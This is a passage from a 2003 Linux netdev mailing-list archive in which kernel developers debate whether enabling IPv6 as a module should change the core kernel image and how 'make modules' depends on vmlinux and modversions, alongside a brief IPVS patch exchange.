bunk@fs.tum.de, acme@conectiva.com.br, netdev@oss.sgi.com, pekkas@netcore.fi, lksctp-developers@lists.sourceforge.net, linux-kernel@vger.kernel.org In-Reply-To: <20030930010855.095c2c35.davem@redhat.com> References: <20030928225941.GW15338@fs.tum.de> <20030928231842.GE1039@conectiva.com.br> <20030928232403.GX15338@fs.tum.de> <20030929220916.19c9c90d.davem@redhat.com> <1064903562.6154.160.camel@imladris.demon.co.uk> <20030930000302.3e1bf8bb.davem@redhat.com> <1064907572.21551.31.camel@hades.cambridge.redhat.com> <20030930010855.095c2c35.davem@redhat.com> Content-Type: text/plain Message-Id: <1064910398.21551.41.camel@hades.cambridge.redhat.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 (1.4.5-2.dwmw2.3) Date: Tue, 30 Sep 2003 09:26:38 +0100 Content-Transfer-Encoding: 7bit X-archive-position: 365 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dwmw2@infradead.org Precedence: bulk X-list: netdev On Tue, 2003-09-30 at 01:08 -0700, David S. Miller wrote: > If the user sets CONFIG_IPV6 to 'm' from 'n', and make then creates a > new kernel image for him (which it will if dependencies are working > correctly), if he can't figure out that he's gotta install that thing > maybe he should enable module symbol versions to protect him from > insmod'ing that ipv6 module by mistake. Why would he run 'make'? He'll only run 'make modules' since he only enabled one extra module, and then he expects to be able to load it without a reboot. He expects this because it is intuitive ('just a new module') and because it is true for just about all other modular options in the tree. > The suggestions I see do nothing to enhance the kernel tree as it currently > stands. If you wish to prevent the kernel image from changing due to > out-of-tree modules being built, fine, but don't impose this restriction > upon in-kernel modules. It's a matter of taste. As I said, it's your right to disagree. Some time during 2.7 I'm sure one of the many people who agree with Adrian and myself will send patches to Linus and he'll get to arbitrate. -- dwmw2 From davem@pizda.ninka.net Tue Sep 30 01:34:52 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Sep 2003 01:35:40 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8U8YpFx002737 for ; Tue, 30 Sep 2003 01:34:51 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id BAA06020; Tue, 30 Sep 2003 01:30:25 -0700 Date: Tue, 30 Sep 2003 01:30:25 -0700 From: "David S. Miller" To: David Woodhouse Cc: bunk@fs.tum.de, acme@conectiva.com.br, netdev@oss.sgi.com, pekkas@netcore.fi, lksctp-developers@lists.sourceforge.net, linux-kernel@vger.kernel.org Subject: Re: RFC: [2.6 patch] disallow modular IPv6 Message-Id: <20030930013025.697c786e.davem@redhat.com> In-Reply-To: <1064910398.21551.41.camel@hades.cambridge.redhat.com> References: <20030928225941.GW15338@fs.tum.de> <20030928231842.GE1039@conectiva.com.br> <20030928232403.GX15338@fs.tum.de> <20030929220916.19c9c90d.davem@redhat.com> <1064903562.6154.160.camel@imladris.demon.co.uk> <20030930000302.3e1bf8bb.davem@redhat.com> <1064907572.21551.31.camel@hades.cambridge.redhat.com> <20030930010855.095c2c35.davem@redhat.com> <1064910398.21551.41.camel@hades.cambridge.redhat.com> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 366 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Tue, 30 Sep 2003 09:26:38 +0100 David Woodhouse wrote: > Why would he run 'make'? He'll only run 'make modules' since he only > enabled one extra module, and then he expects to be able to load it > without a reboot. If 'make modules' doesn't check if the config change has hit a dependency that requires the core kernel image to be rebuilt, we need to fix that. 'make modules' depends upon the kernel image. At the very least, it should refuse to build the modules and tell the user what he needs to do first. All you've shown me is a bug in the build system, not a fundamental issue with module enables creating changes to the main kernel image. From dwmw2@infradead.org Tue Sep 30 01:42:58 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Sep 2003 01:43:35 -0700 (PDT) Received: from executor.cambridge.redhat.com (pub237.cambridge.redhat.com [213.86.99.237] (may be forged)) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8U8grFx003593 for ; Tue, 30 Sep 2003 01:42:56 -0700 Received: from hades.cambridge.redhat.com (hades.cambridge.redhat.com [172.16.18.64]) by executor.cambridge.redhat.com (Postfix) with ESMTP id B8B8263D63; Tue, 30 Sep 2003 09:42:45 +0100 (BST) Received: from localhost.localdomain (localhost.localdomain [127.0.0.1]) by hades.cambridge.redhat.com (8.12.10/8.11.0) with ESMTP id h8U8gfpb019384; Tue, 30 Sep 2003 09:42:41 +0100 Subject: Re: RFC: [2.6 patch] disallow modular IPv6 From: David Woodhouse To: "David S. Miller" Cc: bunk@fs.tum.de, acme@conectiva.com.br, netdev@oss.sgi.com, pekkas@netcore.fi, lksctp-developers@lists.sourceforge.net, linux-kernel@vger.kernel.org In-Reply-To: <20030930013025.697c786e.davem@redhat.com> References: <20030928225941.GW15338@fs.tum.de> <20030928231842.GE1039@conectiva.com.br> <20030928232403.GX15338@fs.tum.de> <20030929220916.19c9c90d.davem@redhat.com> <1064903562.6154.160.camel@imladris.demon.co.uk> <20030930000302.3e1bf8bb.davem@redhat.com> <1064907572.21551.31.camel@hades.cambridge.redhat.com> <20030930010855.095c2c35.davem@redhat.com> <1064910398.21551.41.camel@hades.cambridge.redhat.com> <20030930013025.697c786e.davem@redhat.com> Content-Type: text/plain Message-Id: <1064911360.21551.49.camel@hades.cambridge.redhat.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 (1.4.5-2.dwmw2.3) Date: Tue, 30 Sep 2003 09:42:41 +0100 Content-Transfer-Encoding: 7bit X-archive-position: 367 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dwmw2@infradead.org Precedence: bulk X-list: netdev On Tue, 2003-09-30 at 01:30 -0700, David S. Miller wrote: > If 'make modules' doesn't check if the config change has hit a > dependency that requires the core kernel image to be rebuilt, we need > to fix that. 'make modules' depends upon the kernel image. 'make modules' should make the modules. If for some reason this really does require the core kernel image to be present and up to date, perhaps for modversions, then I agree that it should also rebuild the core kernel. If there's no actual dependency on the core kernel image, however, then it should not be rebuilt for 'make modules'. If 'make modules' was equivalent to 'make all' then it should not exist at all. Consider the case where you run a distribution kernel but wish to compile a couple of extra modules for esoteric hardware, file systems or protocols. Why would you want 'make modules' to rebuild the kernel image? The one you're already running is just fine. Besides, the whole question is mostly is orthogonal to the assertion that a config change from 'n' to 'm' should not effect changes in the core kernel. -- dwmw2 From davem@pizda.ninka.net Tue Sep 30 01:55:30 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Sep 2003 01:56:05 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8U8tUFx004605 for ; Tue, 30 Sep 2003 01:55:30 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id BAA00842; Tue, 30 Sep 2003 01:51:25 -0700 Date: Tue, 30 Sep 2003 01:51:25 -0700 From: "David S. Miller" To: David Woodhouse Cc: bunk@fs.tum.de, acme@conectiva.com.br, netdev@oss.sgi.com, pekkas@netcore.fi, lksctp-developers@lists.sourceforge.net, linux-kernel@vger.kernel.org Subject: Re: RFC: [2.6 patch] disallow modular IPv6 Message-Id: <20030930015125.5de36d97.davem@redhat.com> In-Reply-To: <1064911360.21551.49.camel@hades.cambridge.redhat.com> References: <20030928225941.GW15338@fs.tum.de> <20030928231842.GE1039@conectiva.com.br> <20030928232403.GX15338@fs.tum.de> <20030929220916.19c9c90d.davem@redhat.com> <1064903562.6154.160.camel@imladris.demon.co.uk> <20030930000302.3e1bf8bb.davem@redhat.com> <1064907572.21551.31.camel@hades.cambridge.redhat.com> <20030930010855.095c2c35.davem@redhat.com> <1064910398.21551.41.camel@hades.cambridge.redhat.com> <20030930013025.697c786e.davem@redhat.com> <1064911360.21551.49.camel@hades.cambridge.redhat.com> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 368 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Tue, 30 Sep 2003 09:42:41 +0100 David Woodhouse wrote: > 'make modules' should make the modules. If for some reason this really > does require the core kernel image to be present and up to date, perhaps > for modversions, then I agree that it should also rebuild the core > kernel. So it's OK for modversions to make modules depend upon the main kernel image, but it's not OK for ipv6 to do the same exact thing. Is this what you're saying? > If there's no actual dependency on the core kernel image, however, then > it should not be rebuilt for 'make modules'. If 'make modules' was > equivalent to 'make all' then it should not exist at all. I don't see how you can say that modversions can create this module dependency upon the kernel image, but ipv6 is not allowed to. And this doesn't turn 'make modules' into the same thing as 'make all'. It will still behave differently in a lot of situations. From davem@pizda.ninka.net Tue Sep 30 02:00:57 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Sep 2003 02:01:30 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8U90uFx005308 for ; Tue, 30 Sep 2003 02:00:56 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id BAA00924; Tue, 30 Sep 2003 01:56:59 -0700 Date: Tue, 30 Sep 2003 01:56:59 -0700 From: "David S. Miller" To: Julian Anastasov Cc: wensong@linux-vs.org, netdev@oss.sgi.com Subject: Re: [PATCHES] IPVS - use list_for_each_entry_continue, fix NQ Message-Id: <20030930015659.3cc375b1.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 369 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Sat, 27 Sep 2003 15:02:57 +0300 (EEST) Julian Anastasov wrote: > The attached patches against today's 2.6 BK tree introduce > list_for_each_entry_continue and use it for some IPVS schedulers. There is > also a NQ scheduler fix. Please consider for inclusion. Looks good, applied. Can you please CC: netdev@oss.sgi.com on all patch submissions, even small and obvious ones? Thanks. I assume you guys are still reviewing Rusty's skb_linearize() removal patch? From davem@pizda.ninka.net Tue Sep 30 02:05:53 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Sep 2003 02:06:29 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8U95rFx005953 for ; Tue, 30 Sep 2003 02:05:53 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id CAA00972; Tue, 30 Sep 2003 02:02:04 -0700 Date: Tue, 30 Sep 2003 02:02:04 -0700 From: "David S. Miller" To: "David S. Miller" Cc: ja@ssi.bg, wensong@linux-vs.org, netdev@oss.sgi.com Subject: Re: [PATCHES] IPVS - use list_for_each_entry_continue, fix NQ Message-Id: <20030930020204.40f222b5.davem@redhat.com> In-Reply-To: <20030930015659.3cc375b1.davem@redhat.com> References: <20030930015659.3cc375b1.davem@redhat.com> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 370 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Tue, 30 Sep 2003 01:56:59 -0700 "David S. Miller" wrote: > Can you please CC: netdev@oss.sgi.com I'm such an idiot, please excuse my stupidity on this one :) From dwmw2@infradead.org Tue Sep 30 02:14:16 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Sep 2003 02:14:50 -0700 (PDT) Received: from executor.cambridge.redhat.com (pub237.cambridge.redhat.com [213.86.99.237] (may be forged)) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8U9EFFx006784 for ; Tue, 30 Sep 2003 02:14:15 -0700 Received: from hades.cambridge.redhat.com (hades.cambridge.redhat.com [172.16.18.64]) by executor.cambridge.redhat.com (Postfix) with ESMTP id 19E6D63D63; Tue, 30 Sep 2003 10:14:07 +0100 (BST) Received: from localhost.localdomain (localhost.localdomain [127.0.0.1]) by hades.cambridge.redhat.com (8.12.10/8.11.0) with ESMTP id h8U9E2pb019743; Tue, 30 Sep 2003 10:14:03 +0100 Subject: Re: RFC: [2.6 patch] disallow modular IPv6 From: David Woodhouse To: "David S. Miller" Cc: bunk@fs.tum.de, acme@conectiva.com.br, netdev@oss.sgi.com, pekkas@netcore.fi, lksctp-developers@lists.sourceforge.net, linux-kernel@vger.kernel.org In-Reply-To: <20030930015125.5de36d97.davem@redhat.com> References: <20030928225941.GW15338@fs.tum.de> <20030928231842.GE1039@conectiva.com.br> <20030928232403.GX15338@fs.tum.de> <20030929220916.19c9c90d.davem@redhat.com> <1064903562.6154.160.camel@imladris.demon.co.uk> <20030930000302.3e1bf8bb.davem@redhat.com> <1064907572.21551.31.camel@hades.cambridge.redhat.com> <20030930010855.095c2c35.davem@redhat.com> <1064910398.21551.41.camel@hades.cambridge.redhat.com> <20030930013025.697c786e.davem@redhat.com> <1064911360.21551.49.camel@hades.cambridge.redhat.com> <20030930015125.5de36d97.davem@redhat.com> Content-Type: text/plain; charset=UTF-8 Message-Id: <1064913241.21551.69.camel@hades.cambridge.redhat.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 (1.4.5-2.dwmw2.3) Date: Tue, 30 Sep 2003 10:14:02 +0100 Content-Transfer-Encoding: 8bit X-archive-position: 371 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dwmw2@infradead.org Precedence: bulk X-list: netdev On Tue, 2003-09-30 at 01:51 -0700, David S. Miller wrote: > So it's OK for modversions to make modules depend upon the main kernel > image, but it's not OK for ipv6 to do the same exact thing. Is this > what you're saying? Not at all. You're talking about something entirely different. We are not talking about _changing_ the value of $CONFIG_MODVERSIONS. CONFIG_MODVERSIONS is a boolean option, and of _course_ changing it from 'n' to 'y' should change the core kernel. Your 'dependency on modversions' is entirely unrelated to any changes in .config. In the 2.4 kernel you needed to run 'make dep', which had the side-effect of creating all the version strings which were required to make any modules. In the 2.6 kernel, I suspect that these same version strings are now produced as a side-effect of the 'make vmlinux' stage, and hence that it's required to 'make vmlinux' before any modules can be built. This (potential) dependency is entirely unrelated to any _changes_ in configuration. It would be optimal to be able to build modules _without_ actually having to build the kernel image, but if that dependency exists due to the current build mechanism, then it would be a bug for 'make modules' to refrain from also building vmlinux. It was offered as an example of a case in which your assertion would be correct; that 'make modules' should also rebuild vmlinux. I'm sorry if it caused confusion -- I should probably not have followed your digression. > > If there's no actual dependency on the core kernel image, however, then > > it should not be rebuilt for 'make modules'. If 'make modules' was > > equivalent to 'make all' then it should not exist at all. > > I don't see how you can say that modversions can create this module > dependency upon the kernel image, but ipv6 is not allowed to. There is no inconsistency. It's very simple: ∃ configuration option CONFIG_xxx : Changing CONFIG_xxx from 'n' to 'y' may change the resulting vmlinux. Changing CONFIG_xxx from 'n' to 'm' should not do so. -- dwmw2 From dwmw2@infradead.org Tue Sep 30 02:17:37 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Sep 2003 02:18:11 -0700 (PDT) Received: from executor.cambridge.redhat.com (pub237.cambridge.redhat.com [213.86.99.237] (may be forged)) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8U9HaFx007294 for ; Tue, 30 Sep 2003 02:17:36 -0700 Received: from hades.cambridge.redhat.com (hades.cambridge.redhat.com [172.16.18.64]) by executor.cambridge.redhat.com (Postfix) with ESMTP id 278B063D63; Tue, 30 Sep 2003 10:17:31 +0100 (BST) Received: from localhost.localdomain (localhost.localdomain [127.0.0.1]) by hades.cambridge.redhat.com (8.12.10/8.11.0) with ESMTP id h8U9HQpb019773; Tue, 30 Sep 2003 10:17:27 +0100 Subject: Re: RFC: [2.6 patch] disallow modular IPv6 From: David Woodhouse To: "David S. Miller" Cc: bunk@fs.tum.de, acme@conectiva.com.br, netdev@oss.sgi.com, pekkas@netcore.fi, lksctp-developers@lists.sourceforge.net, linux-kernel@vger.kernel.org In-Reply-To: <1064913241.21551.69.camel@hades.cambridge.redhat.com> References: <20030928225941.GW15338@fs.tum.de> <20030928231842.GE1039@conectiva.com.br> <20030928232403.GX15338@fs.tum.de> <20030929220916.19c9c90d.davem@redhat.com> <1064903562.6154.160.camel@imladris.demon.co.uk> <20030930000302.3e1bf8bb.davem@redhat.com> <1064907572.21551.31.camel@hades.cambridge.redhat.com> <20030930010855.095c2c35.davem@redhat.com> <1064910398.21551.41.camel@hades.cambridge.redhat.com> <20030930013025.697c786e.davem@redhat.com> <1064911360.21551.49.camel@hades.cambridge.redhat.com> <20030930015125.5de36d97.davem@redhat.com> <1064913241.21551.69.camel@hades.cambridge.redhat.com> Content-Type: text/plain; charset=UTF-8 Message-Id: <1064913445.21551.72.camel@hades.cambridge.redhat.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 (1.4.5-2.dwmw2.3) Date: Tue, 30 Sep 2003 10:17:26 +0100 Content-Transfer-Encoding: 8bit X-archive-position: 372 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dwmw2@infradead.org Precedence: bulk X-list: netdev On Tue, 2003-09-30 at 10:14 +0100, David Woodhouse wrote: > ∃ configuration option CONFIG_xxx : > Changing CONFIG_xxx from 'n' to 'y' may change the resulting vmlinux. > Changing CONFIG_xxx from 'n' to 'm' should not do so. Bah. s/∃/∀/ of course. I should set up key bindings rather than having to cut and paste with a mouse and insufficient caffeine :) -- dwmw2 From ja@ssi.bg Tue Sep 30 02:23:24 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Sep 2003 02:23:58 -0700 (PDT) Received: from l.himel.bg (IDENT:root@unamed.infotel.bg [212.39.68.18] (may be forged)) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8U9NLFx007968 for ; Tue, 30 Sep 2003 02:23:22 -0700 Received: from linux.himel.bg (IDENT:ja@linux.himel.bg [127.0.0.1]) by l.himel.bg (8.11.6/8.9.3) with ESMTP id h8U9MlZ02929; Tue, 30 Sep 2003 12:22:47 +0300 Date: Tue, 30 Sep 2003 12:22:47 +0300 (EEST) From: Julian Anastasov X-X-Sender: ja@l To: "David S. Miller" cc: wensong@linux-vs.org, Subject: Re: [PATCHES] IPVS - use list_for_each_entry_continue, fix NQ In-Reply-To: <20030930015659.3cc375b1.davem@redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 373 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ja@ssi.bg Precedence: bulk X-list: netdev Hello, On Tue, 30 Sep 2003, David S. Miller wrote: > > list_for_each_entry_continue and use it for some IPVS schedulers. There is > > also a NQ scheduler fix. Please consider for inclusion. > > Looks good, applied. Can you please CC: netdev@oss.sgi.com on all > patch submissions, even small and obvious ones? Thanks. Always :) > I assume you guys are still reviewing Rusty's skb_linearize() > removal patch? Yes, we will synchronize with Wensong to avoid double work. As for me, I like 90% of the changes and started to import them in my tree, I hope we will be back at the end of this week. Regards -- Julian Anastasov From davem@pizda.ninka.net Tue Sep 30 02:28:06 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Sep 2003 02:28:40 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8U9S6Fx008575 for ; Tue, 30 Sep 2003 02:28:06 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id CAA01132; Tue, 30 Sep 2003 02:24:10 -0700 Date: Tue, 30 Sep 2003 02:24:10 -0700 From: "David S. Miller" To: David Woodhouse Cc: bunk@fs.tum.de, acme@conectiva.com.br, netdev@oss.sgi.com, pekkas@netcore.fi, lksctp-developers@lists.sourceforge.net, linux-kernel@vger.kernel.org Subject: Re: RFC: [2.6 patch] disallow modular IPv6 Message-Id: <20030930022410.08c5649c.davem@redhat.com> In-Reply-To: <1064913241.21551.69.camel@hades.cambridge.redhat.com> References: <20030928225941.GW15338@fs.tum.de> <20030928231842.GE1039@conectiva.com.br> <20030928232403.GX15338@fs.tum.de> <20030929220916.19c9c90d.davem@redhat.com> <1064903562.6154.160.camel@imladris.demon.co.uk> <20030930000302.3e1bf8bb.davem@redhat.com> <1064907572.21551.31.camel@hades.cambridge.redhat.com> <20030930010855.095c2c35.davem@redhat.com> <1064910398.21551.41.camel@hades.cambridge.redhat.com> <20030930013025.697c786e.davem@redhat.com> <1064911360.21551.49.camel@hades.cambridge.redhat.com> <20030930015125.5de36d97.davem@redhat.com> <1064913241.21551.69.camel@hades.cambridge.redhat.com> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 374 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Tue, 30 Sep 2003 10:14:02 +0100 David Woodhouse wrote: > Not at all. You're talking about something entirely different. I think they are the same. It's module building depending upon the kernel image being up to date. modules: vmlinux image ... blah blah blah or however you want to express it in the makefiles. > In the 2.6 kernel, I suspect that these same version strings are now > produced as a side-effect of the 'make vmlinux' stage, and hence that > it's required to 'make vmlinux' before any modules can be built. What this means is that it's required for the kernel image to be up to date before any modules can be built. If we can check that in the build system for the sake of modversions (and if we're not doing that now it's a bug we should fix) we can do it equally for ipv6. > This (potential) dependency is entirely unrelated to any _changes_ in > configuration. I don't see how this changes the argument I'm trying to make. I'm saying that either you accept that the kernel image must be uptodate in order to build modules, or you don't. It doesn't matter what creates that dependency. You can't say "the ipv6 thing is different because a config change from 'n' to 'm' is creating the dependency", that doesn't make it special. In all such cases, modules require the kernel image they are being built for to be uptodate. From sam@ravnborg.org Tue Sep 30 02:57:26 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Sep 2003 02:58:01 -0700 (PDT) Received: from pasmtp.tele.dk (pasmtp.tele.dk [193.162.159.95]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8U9vOFx011813 for ; Tue, 30 Sep 2003 02:57:26 -0700 Received: from mars.ravnborg.org (0x50a416f6.hrnxx9.adsl-dhcp.tele.dk [80.164.22.246]) by pasmtp.tele.dk (Postfix) with ESMTP id F278F1EC6A0; Tue, 30 Sep 2003 11:57:22 +0200 (CEST) Received: by mars.ravnborg.org (Postfix, from userid 502) id 9932DA4019; Tue, 30 Sep 2003 11:57:21 +0200 (CEST) Date: Tue, 30 Sep 2003 11:57:21 +0200 From: Sam Ravnborg To: "David S. Miller" Cc: David Woodhouse , bunk@fs.tum.de, acme@conectiva.com.br, netdev@oss.sgi.com, pekkas@netcore.fi, lksctp-developers@lists.sourceforge.net, linux-kernel@vger.kernel.org Subject: Re: RFC: [2.6 patch] disallow modular IPv6 Message-ID: <20030930095721.GA1036@mars.ravnborg.org> Mail-Followup-To: "David S. Miller" , David Woodhouse , bunk@fs.tum.de, acme@conectiva.com.br, netdev@oss.sgi.com, pekkas@netcore.fi, lksctp-developers@lists.sourceforge.net, linux-kernel@vger.kernel.org References: <1064903562.6154.160.camel@imladris.demon.co.uk> <20030930000302.3e1bf8bb.davem@redhat.com> <1064907572.21551.31.camel@hades.cambridge.redhat.com> <20030930010855.095c2c35.davem@redhat.com> <1064910398.21551.41.camel@hades.cambridge.redhat.com> <20030930013025.697c786e.davem@redhat.com> <1064911360.21551.49.camel@hades.cambridge.redhat.com> <20030930015125.5de36d97.davem@redhat.com> <1064913241.21551.69.camel@hades.cambridge.redhat.com> <20030930022410.08c5649c.davem@redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20030930022410.08c5649c.davem@redhat.com> User-Agent: Mutt/1.4.1i X-archive-position: 375 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: sam@ravnborg.org Precedence: bulk X-list: netdev On Tue, Sep 30, 2003 at 02:24:10AM -0700, David S. Miller wrote: > > > In the 2.6 kernel, I suspect that these same version strings are now > > produced as a side-effect of the 'make vmlinux' stage, and hence that > > it's required to 'make vmlinux' before any modules can be built. > > What this means is that it's required for the kernel image to be up to > date before any modules can be built. If we can check that in the > build system for the sake of modversions (and if we're not doing that > now it's a bug we should fix) we can do it equally for ipv6. There is a postprocessing step when building modules that take care of modversioning. And yes, it requires a final vmlinux. Sam From dwmw2@infradead.org Tue Sep 30 03:02:58 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Sep 2003 03:03:33 -0700 (PDT) Received: from executor.cambridge.redhat.com (pub237.cambridge.redhat.com [213.86.99.237] (may be forged)) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8UA2vFx012236 for ; Tue, 30 Sep 2003 03:02:57 -0700 Received: from hades.cambridge.redhat.com (hades.cambridge.redhat.com [172.16.18.64]) by executor.cambridge.redhat.com (Postfix) with ESMTP id 5DC8963D66; Tue, 30 Sep 2003 11:02:51 +0100 (BST) Received: from localhost.localdomain (localhost.localdomain [127.0.0.1]) by hades.cambridge.redhat.com (8.12.10/8.11.0) with ESMTP id h8UA2npb020569; Tue, 30 Sep 2003 11:02:49 +0100 Subject: Re: RFC: [2.6 patch] disallow modular IPv6 From: David Woodhouse To: "David S. Miller" Cc: bunk@fs.tum.de, acme@conectiva.com.br, netdev@oss.sgi.com, pekkas@netcore.fi, lksctp-developers@lists.sourceforge.net, linux-kernel@vger.kernel.org In-Reply-To: <20030930022410.08c5649c.davem@redhat.com> References: <20030928225941.GW15338@fs.tum.de> <20030928231842.GE1039@conectiva.com.br> <20030928232403.GX15338@fs.tum.de> <20030929220916.19c9c90d.davem@redhat.com> <1064903562.6154.160.camel@imladris.demon.co.uk> <20030930000302.3e1bf8bb.davem@redhat.com> <1064907572.21551.31.camel@hades.cambridge.redhat.com> <20030930010855.095c2c35.davem@redhat.com> <1064910398.21551.41.camel@hades.cambridge.redhat.com> <20030930013025.697c786e.davem@redhat.com> <1064911360.21551.49.camel@hades.cambridge.redhat.com> <20030930015125.5de36d97.davem@redhat.com> <1064913241.21551.69.camel@hades.cambridge.redhat.com> <20030930022410.08c5649c.davem@redhat.com> Content-Type: text/plain Message-Id: <1064916168.21551.105.camel@hades.cambridge.redhat.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 (1.4.5-2.dwmw2.3) Date: Tue, 30 Sep 2003 11:02:49 +0100 Content-Transfer-Encoding: 7bit X-archive-position: 376 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dwmw2@infradead.org Precedence: bulk X-list: netdev On Tue, 2003-09-30 at 02:24 -0700, David S. Miller wrote: > I think they are the same. It's module building depending upon the > kernel image being up to date. > > modules: vmlinux image > ... blah blah blah > > or however you want to express it in the makefiles. In the case of modversions, we are talking about the fact that it may be physically _impossible_ to build a module referencing an in-kernel symbol, if the checksum required for that symbol -- the 'version string' -- is not yet calculated. If the version strings are generated as a side-effect of compiling the files which actually export the symbols in question, then it's necessary to do that before building any module which attempts to use those symbols. Note that it's not actually necessary to provide a vmlinux file, nor to do any linking. It's only necessary to perform those steps which produce the version strings for those symbols actually referenced by the modules which are being built. That is the requirement for correctness from the makefiles; nothing more. Of course it's usually considered acceptable for the makefiles to recompile _more_ than is necessary, so your way of expressing it above could indeed be a first, extremely suboptimal, attempt at a 'fix' if the build is indeed currently broken in the way that you suggest. > I don't see how this changes the argument I'm trying to make. > > I'm saying that either you accept that the kernel image must be > uptodate in order to build modules, or you don't. It doesn't matter > what creates that dependency. I agree with your assertion -- it is true that I either accept that fact or I don't. Furthermore, I agree that if it is physically necessary for the kernel image to be up to date in order to build modules, then it would be a bug for the build system not to do so. That is all irrelevant to the question which started this thread though. That would be correctly stated as follows: I am saying that even if I run 'make all', I do not accept that the resulting kernel image should be _different_ when I change any option from 'n' to 'm'. -- dwmw2 From davem@pizda.ninka.net Tue Sep 30 03:05:51 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Sep 2003 03:06:27 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8UA5oFx012583 for ; Tue, 30 Sep 2003 03:05:51 -0700 Received: (from davem@localhost) by pizda.ninka.net 